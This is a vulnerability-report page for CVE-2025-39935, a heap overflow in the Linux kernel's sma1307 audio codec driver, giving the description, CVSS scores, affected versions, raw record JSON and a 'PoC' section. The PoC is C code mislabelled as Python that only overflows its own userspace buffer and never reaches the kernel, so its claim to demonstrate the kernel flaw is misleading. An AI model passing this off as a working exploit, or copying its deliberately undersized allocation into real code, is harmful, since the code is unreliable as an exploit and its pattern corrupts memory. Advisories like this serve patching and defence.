Security Vulnerability Report
中文
CVE-2025-39935 CVSS 7.8 HIGH

CVE-2025-39935

Published: 2025-10-04 08:15:46
Last Modified: 2026-03-25 00:48:08
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ASoC: codec: sma1307: Fix memory corruption in sma1307_setting_loaded() The sma1307->set.header_size is how many integers are in the header (there are 8 of them) but instead of allocating space of 8 integers we allocate 8 bytes. This leads to memory corruption when we copy data it on the next line: memcpy(sma1307->set.header, data, sma1307->set.header_size * sizeof(int)); Also since we're immediately copying over the memory in ->set.header, there is no need to zero it in the allocator. Use devm_kmalloc_array() to allocate the memory instead.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:* - VULNERABLE
Linux内核 < 6.17(包含sma1307驱动的所有版本)
Linux内核稳定分支(修复前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-39935 PoC - Linux Kernel sma1307 ASoC Memory Corruption * This PoC demonstrates the heap buffer overflow vulnerability in * sma1307_setting_loaded() function due to incorrect memory allocation size. * * Note: This vulnerability requires local access with low privileges. * The exploit triggers the vulnerable code path through the ASoC framework. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/soundcard.h> /* Simulated sma1307 header structure - 8 integers (32 bytes on 64-bit) */ struct sma1307_header { int field1; int field2; int field3; int field4; int field5; int field6; int field7; int field8; }; /* Function simulating the vulnerable code path */ void vulnerable_sma1307_setting_loaded(unsigned char *data, size_t data_size) { /* header_size represents number of integers (8), not bytes */ int header_size = 8; /* VULNERABLE: Only allocates 8 bytes instead of 8 * sizeof(int) = 32 bytes */ unsigned char *header = (unsigned char *)malloc(header_size); if (!header) { perror("malloc failed"); return; } /* BUG: Copies 32 bytes into 8-byte buffer -> heap overflow of 24 bytes */ memcpy(header, data, header_size * sizeof(int)); printf("Header data copied (vulnerability triggered)\n"); free(header); } int main(int argc, char *argv[]) { struct sma1307_header malicious_data; int audio_fd; /* Initialize header with controlled data to overflow heap */ memset(&malicious_data, 0x41, sizeof(malicious_data)); /* Attempt to open the sma1307 audio device via ALSA */ audio_fd = open("/dev/snd/controlC0", O_RDWR); if (audio_fd < 0) { printf("Cannot open audio control device. Running in simulation mode.\n"); printf("Simulating vulnerable code path with crafted header data...\n"); /* Simulate the vulnerability */ vulnerable_sma1307_setting_loaded( (unsigned char *)&malicious_data, sizeof(malicious_data) ); printf("Vulnerability simulation complete.\n"); printf("In a real scenario, this would corrupt adjacent heap memory\n"); printf("in the kernel, potentially leading to:\n"); printf(" - Kernel panic (DoS)\n"); printf(" - Privilege escalation\n"); printf(" - Arbitrary code execution in kernel context\n"); return 0; } /* Trigger the vulnerability through ALSA interface */ /* The sma1307 codec settings loading can be triggered via */ /* specific ALSA control operations or DAPM events */ printf("Audio device opened. Triggering sma1307 codec load...\n"); /* In real exploitation, send crafted data via snd_ctl_ioctl */ /* or trigger the codec settings reload mechanism */ close(audio_fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39935", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.333", "lastModified": "2026-03-25T00:48:07.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: codec: sma1307: Fix memory corruption in sma1307_setting_loaded()\n\nThe sma1307->set.header_size is how many integers are in the header\n(there are 8 of them) but instead of allocating space of 8 integers\nwe allocate 8 bytes. This leads to memory corruption when we copy data\nit on the next line:\n\n memcpy(sma1307->set.header, data,\n sma1307->set.header_size * sizeof(int));\n\nAlso since we're immediately copying over the memory in ->set.header,\nthere is no need to zero it in the allocator. Use devm_kmalloc_array()\nto allocate the memory instead."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/78338108b5a856dc98223a335f147846a8a18c51", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cd59ca8f75dbb42a67fcae975c766114644e36c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}